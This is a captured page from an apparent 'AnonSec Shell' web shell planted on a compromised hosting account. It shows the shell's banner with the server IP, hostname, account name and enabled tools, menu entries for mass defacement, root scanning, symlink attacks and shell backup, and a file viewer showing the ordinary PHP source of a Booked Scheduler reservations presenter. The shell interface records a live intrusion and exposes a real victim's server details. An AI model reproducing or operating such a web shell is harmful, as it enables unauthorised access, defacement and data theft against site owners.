. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 94.23.64.18  /  Your IP : 216.73.216.185   [ Reverse IP ]
Web Server : Apache
System : Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : villadal ( 6036)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/villadal/www/old/booked/Presenters/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/villadal/www/old/booked/Presenters/Admin/ManageReservationsPresenter.php
<?php
/**
Copyright 2011-2014 Nick Korbel

This file is part of Booked Scheduler.

Booked Scheduler is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

Booked Scheduler is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with Booked Scheduler.  If not, see <http://www.gnu.org/licenses/>.
*/

require_once(ROOT_DIR . 'Pages/Admin/ManageReservationsPage.php');
require_once(ROOT_DIR . 'Domain/Access/namespace.php');
require_once(ROOT_DIR . 'Presenters/ActionPresenter.php');
require_once(ROOT_DIR . 'lib/Application/Admin/namespace.php');
require_once(ROOT_DIR . 'lib/Application/Attributes/namespace.php');
require_once(ROOT_DIR . 'lib/Application/Reservation/namespace.php');

class ManageReservationsActions
{
	const UpdateAttribute = 'updateAttribute';
	const ChangeStatus = 'changeStatus';
}

class ManageReservationsPresenter extends ActionPresenter
{
	/**
	 * @var IManageReservationsPage
	 */
	private $page;

	/**
	 * @var IManageReservationsService
	 */
	private $manageReservationsService;

	/**
	 * @var IScheduleRepository
	 */
	private $scheduleRepository;

	/**
	 * @var IResourceRepository
	 */
	private $resourceRepository;

	/**
	 * @var IAttributeService
	 */
	private $attributeService;

	/**
	 * @var IUserPreferenceRepository
	 */
	private $userPreferenceRepository;

	public function __construct(
		IManageReservationsPage $page,
		IManageReservationsService $manageReservationsService,
		IScheduleRepository $scheduleRepository,
		IResourceRepository $resourceRepository,
		IAttributeService $attributeService,
		IUserPreferenceRepository $userPreferenceRepository)
	{
		parent::__construct($page);

		$this->page = $page;
		$this->manageReservationsService = $manageReservationsService;
		$this->scheduleRepository = $scheduleRepository;
		$this->resourceRepository = $resourceRepository;
		$this->attributeService = $attributeService;
		$this->userPreferenceRepository = $userPreferenceRepository;

		$this->AddAction(ManageReservationsActions::UpdateAttribute, 'UpdateAttribute');
		$this->AddAction(ManageReservationsActions::ChangeStatus, 'UpdateResourceStatus');
	}

	public function PageLoad($userTimezone)
	{
		$session = ServiceLocator::GetServer()->GetUserSession();

		$this->page->BindSchedules($this->scheduleRepository->GetAll());
		$this->page->BindResources($this->resourceRepository->GetResourceList());

		$statusReasonList = array();
		foreach ($this->resourceRepository->GetStatusReasons() as $reason)
		{
			$statusReasonList[$reason->Id()] = $reason;
		}
		$this->page->BindResourceStatuses($statusReasonList);

		$startDateString = $this->page->GetStartDate();
		$endDateString = $this->page->GetEndDate();

		$filterPreferences = new ReservationFilterPreferences();
		$filterPreferences->Load($this->userPreferenceRepository, $session->UserId);

		$startDate = $this->GetDate($startDateString, $userTimezone, $filterPreferences->GetFilterStartDateDelta());
		$endDate = $this->GetDate($endDateString, $userTimezone, $filterPreferences->GetFilterEndDateDelta());

		$scheduleId = $this->page->GetScheduleId();
		$resourceId = $this->page->GetResourceId();
		$userId = $this->page->GetUserId();
		$userName = $this->page->GetUserName();
		$reservationStatusId = $this->page->GetReservationStatusId();
		$referenceNumber = $this->page->GetReferenceNumber();
		$resourceStatusId = $this->page->GetResourceStatusFilterId();
		$resourceReasonId = $this->page->GetResourceStatusReasonFilterId();

		if(!$this->page->FilterButtonPressed())
		{
			// Get filter settings from db
			$referenceNumber = $filterPreferences->GetFilterReferenceNumber();
			$scheduleId = $filterPreferences->GetFilterScheduleId();
			$resourceId = $filterPreferences->GetFilterResourceId();
			$userId = $filterPreferences->GetFilterUserId();
			$userName = $filterPreferences->GetFilterUserName();
			$reservationStatusId = $filterPreferences->GetFilterReservationStatusId();
			$resourceStatusId = $filterPreferences->GetFilterResourceStatusId();
			$resourceReasonId = $filterPreferences->GetFilterResourceReasonId();
			$filters = $filterPreferences->GetFilterCustomAttributes();
		}
		else
		{
			$startOffset = $this->GetDateOffsetFromToday($startDate, $userTimezone);
			$endOffset = $this->GetDateOffsetFromToday($endDate, $userTimezone);

			$formFilters = $this->page->GetAttributeFilters();
			$filters = array();
			foreach ($formFilters as $filter)
			{
				$filters[$filter->Id] = $filter->Value;
			}

			$filterPreferences->SetFilterStartDateDelta($startOffset == null ? -14 : $startOffset);
			$filterPreferences->SetFilterEndDateDelta($endOffset == null ? 14 : $endOffset);
			$filterPreferences->SetFilterReferenceNumber($referenceNumber);
			$filterPreferences->SetFilterScheduleId($scheduleId);
			$filterPreferences->SetFilterResourceId($resourceId);
			$filterPreferences->SetFilterUserId($userId);
			$filterPreferences->SetFilterUserName($userName);
			$filterPreferences->SetFilterReservationStatusId($reservationStatusId);
			$filterPreferences->SetFilterResourceStatusId($resourceStatusId);
			$filterPreferences->SetFilterResourceReasonId($resourceReasonId);
			$filterPreferences->SetFilterCustomAttributes($filters);

			$filterPreferences->Update($this->userPreferenceRepository, $session->UserId);
		}

		$reservationAttributes = $this->attributeService->GetByCategory(CustomAttributeCategory::RESERVATION);

		$attributeFilters = array();
		foreach ($reservationAttributes as $attribute)
		{
			$attributeValue = null;
			if (array_key_exists($attribute->Id(), $filters))
			{
				$attributeValue = $filters[$attribute->Id()];
			}
			$attributeFilters[] = new Attribute($attribute, $attributeValue);
		}

		$this->page->SetStartDate($startDate);
		$this->page->SetEndDate($endDate);
		$this->page->SetReferenceNumber($referenceNumber);
		$this->page->SetScheduleId($scheduleId);
		$this->page->SetResourceId($resourceId);
		$this->page->SetUserId($userId);
		$this->page->SetUserName($userName);
		$this->page->SetReservationStatusId($reservationStatusId);
		$this->page->SetResourceStatusFilterId($resourceStatusId);
		$this->page->SetResourceStatusReasonFilterId($resourceReasonId);
		$this->page->SetAttributeFilters($attributeFilters);
		$this->page->SetReservationAttributes($reservationAttributes);

		$filter = new ReservationFilter($startDate, $endDate, $referenceNumber, $scheduleId, $resourceId, $userId,
										$reservationStatusId, $resourceStatusId, $resourceReasonId, $attributeFilters);

		$reservations = $this->manageReservationsService->LoadFiltered($this->page->GetPageNumber(),
																	   $this->page->GetPageSize(),
																	   $filter,
																	   $session);

		/** @var ReservationItemView[] $reservationList */
		$reservationList = $reservations->Results();
		$this->page->BindReservations($reservationList);
		$this->page->BindPageInfo($reservations->PageInfo());

		$seriesIds = array();
		/** @var $reservationItemView ReservationItemView */
		foreach ($reservationList as $reservationItemView)
		{
			$seriesIds[] = $reservationItemView->SeriesId;
		}

		if ($this->page->GetFormat() == 'csv')
		{
			$this->page->ShowCsv();
		}
		else
		{
			$this->page->ShowPage();
		}
	}

	private function GetDate($dateString, $timezone, $defaultDays)
	{
		$date = null;

		if (empty($defaultDays))
		{
			return null;
		}

		if (is_null($dateString))
		{
			$date = Date::Now()->AddDays($defaultDays)->ToTimezone($timezone)->GetDate();
		}
		elseif (!empty($dateString))
		{
			$date = Date::Parse($dateString, $timezone);
		}

		return $date;
	}

	private function GetDateOffsetFromToday($date, $timezone)
	{
		if (empty($date))
		{
			return null;
		}

		$today = Date::Create(Date('Y'), Date('m'), Date('d'), 0, 0, 0, $timezone);
		$diff = DateDiff::BetweenDates($today, $date);
		return $diff->Days();
	}

	public function UpdateResourceStatus()
	{
		if (!$this->page->CanUpdateResourceStatuses())
		{
			Log::Debug('User does not have rights to update resource statuses');

			return;
		}

		$session = ServiceLocator::GetServer()->GetUserSession();
		$statusId = $this->page->GetResourceStatus();
		$reasonId = $this->page->GetResourceStatusReason();
		$referenceNumber = $this->page->GetResourceStatusReferenceNumber();
		$resourceId = $this->page->GetUpdateResourceId();
		$updateScope = $this->page->GetUpdateScope();

		Log::Debug('Updating resource status. ResourceId=%s, ReferenceNumber=%s, StatusId=%s, ReasonId=%s, UserId=%s',
				   $resourceId,
					$referenceNumber,
					$statusId,
					$reasonId,
					$session->UserId);

		$resourceIds = array();

		if (empty($updateScope))
		{
			$resourceIds[] = $resourceId;
		}
		else
		{
			$reservations = $this->manageReservationsService->LoadFiltered(null, null, new ReservationFilter(null, null, $referenceNumber, null, null, null, null), $session);
			/** @var $reservation ReservationItemView */
			foreach ($reservations->Results() as $reservation)
			{
				$resourceIds[] = $reservation->ResourceId;
			}
		}

		foreach ($resourceIds as $id)
		{
			$resource = $this->resourceRepository->LoadById($id);
			$resource->ChangeStatus($statusId, $reasonId);
			$this->resourceRepository->Update($resource);
		}
	}

	public function ProcessDataRequest($dataRequest)
	{
		if ($dataRequest == 'load')
		{
			$referenceNumber = $this->page->GetReferenceNumber();

			$rv = $this->manageReservationsService->LoadByReferenceNumber($referenceNumber, ServiceLocator::GetServer()->GetUserSession());
			$this->page->SetReservationJson($rv);
		}
	}

	public function UpdateAttribute()
	{
		$userSession = ServiceLocator::GetServer()->GetUserSession();
		$referenceNumber = $this->page->GetReferenceNumber();
		$attributeId = $this->page->GetAttributeId();
		$attributeValue = $this->page->GetAttributeValue();

		Log::Debug('Updating reservation attribute. UserId=%s, AttributeId=%s, AttributeValue=%s, ReferenceNumber=%s', $userSession->UserId, $attributeId, $attributeValue, $referenceNumber);

		$errors = $this->manageReservationsService->UpdateAttribute($referenceNumber, $attributeId, $attributeValue, $userSession);
		if (!empty($errors))
		{
			$this->page->BindAttributeUpdateErrors($errors);
		}
	}
}

class ReservationFilterPreferences
{
	private $FilterStartDateDelta = 0;
	private $FilterEndDateDelta = 0;
	private $FilterUserId = 0;
	private $FilterUserName = '';
	private $FilterScheduleId = 0;
	private $FilterResourceId = 0;
	private $FilterReservationStatusId = 0;
	private $FilterReferenceNumber = '';
	private $FilterResourceStatusId = '';
	private $FilterResourceReasonId = '';
	private $FilterCustomAttributes = '';

	public function GetFilterStartDateDelta()
	{
		return empty($this->FilterStartDateDelta) ? -14 : $this->FilterStartDateDelta;
	}

	public function GetFilterEndDateDelta()
	{
		return empty($this->FilterEndDateDelta) ? 14 : $this->FilterEndDateDelta;
	}

	public function GetFilterUserId()
	{
		return $this->FilterUserId;
	}

	public function GetFilterUserName()
	{
		return $this->FilterUserName;
	}

	public function GetFilterScheduleId()
	{
		return $this->FilterScheduleId;
	}

	public function GetFilterResourceId()
	{
		return $this->FilterResourceId;
	}

	public function GetFilterReservationStatusId()
	{
		return $this->FilterReservationStatusId;
	}

	public function GetFilterReferenceNumber()
	{
		return $this->FilterReferenceNumber;
	}

	public function GetFilterResourceStatusId()
	{
		return $this->FilterResourceStatusId;
	}

	public function GetFilterResourceReasonId()
	{
		return $this->FilterResourceReasonId;
	}

	public function SetFilterStartDateDelta($FilterStartDateDelta)
	{
		$this->FilterStartDateDelta = $FilterStartDateDelta;
	}

	public function SetFilterEndDateDelta($FilterEndDateDelta)
	{
		$this->FilterEndDateDelta = $FilterEndDateDelta;
	}

	public function SetFilterUserId($FilterUserId)
	{
		$this->FilterUserId = $FilterUserId;
	}

	public function SetFilterUserName($FilterUserName)
	{
		$this->FilterUserName = $FilterUserName;
	}

	public function SetFilterScheduleId($FilterScheduleId)
	{
		if (empty($FilterScheduleId))
		{
			$FilterScheduleId = '0';
		}

		$this->FilterScheduleId = $FilterScheduleId;
	}

	public function SetFilterResourceId($FilterResourceId)
	{
		if (empty($FilterResourceId))
		{
			$FilterResourceId = '0';
		}

		$this->FilterResourceId = $FilterResourceId;
	}

	public function SetFilterReservationStatusId($FilterReservationStatusId)
	{
		if (empty($FilterReservationStatusId))
		{
			$FilterReservationStatusId = '0';
		}

		$this->FilterReservationStatusId = $FilterReservationStatusId;
	}

	public function SetFilterReferenceNumber($FilterReferenceNumber)
	{
		$this->FilterReferenceNumber = $FilterReferenceNumber;
	}

	public function SetFilterResourceStatusId($statusId)
	{
		$this->FilterResourceStatusId = $statusId;
	}

	public function SetFilterResourceReasonId($reasonId)
	{
		$this->FilterResourceReasonId = $reasonId;
	}

	/**
	 * @return array
	 */
	public function GetFilterCustomAttributes()
	{
		if (isset($this->FilterCustomAttributes) && !empty($this->FilterCustomAttributes))
		{
			return unserialize($this->FilterCustomAttributes);
		}

		return array();
	}

	/**
	 * @param array $filters
	 */
	public function SetFilterCustomAttributes($filters)
	{
		$this->FilterCustomAttributes = serialize($filters);
	}

	static $filterKeys = array('FilterStartDateDelta' => -7,
		'FilterEndDateDelta' => +7,
		'FilterUserId' => '',
		'FilterUserName' => '',
		'FilterScheduleId' => '',
		'FilterResourceId' => '',
		'FilterReservationStatusId' => 0,
		'FilterReferenceNumber' => '',
		'FilterResourceStatusId' => '',
		'FilterResourceReasonId' => '',
		'FilterCustomAttributes' => '',
	);

	/**
	 * @param IUserPreferenceRepository $userPreferenceRepository
	 * @param int $userId
	 */
	public function Load(IUserPreferenceRepository $userPreferenceRepository, $userId)
	{
		foreach (self::$filterKeys as $filterName => $defaultValue)
		{
			$this->$filterName = $defaultValue;
		}

		$prefs = $userPreferenceRepository->GetAllUserPreferences($userId);
		foreach ($prefs as $key => $val)
		{
			if (array_key_exists($key, self::$filterKeys))
			{
				$this->$key = $val;
			}
		}
	}

	/**
	 * @param IUserPreferenceRepository $userPreferenceRepository
	 * @param int $userId
	 */
	public function Update(IUserPreferenceRepository $userPreferenceRepository, $userId)
	{
		foreach (self::$filterKeys as $filterName => $defaultValue)
		{
			$userPreferenceRepository->SetUserPreference($userId, $filterName, $this->$filterName);
		}
	}


}

Anon7 - 2022
AnonSec Team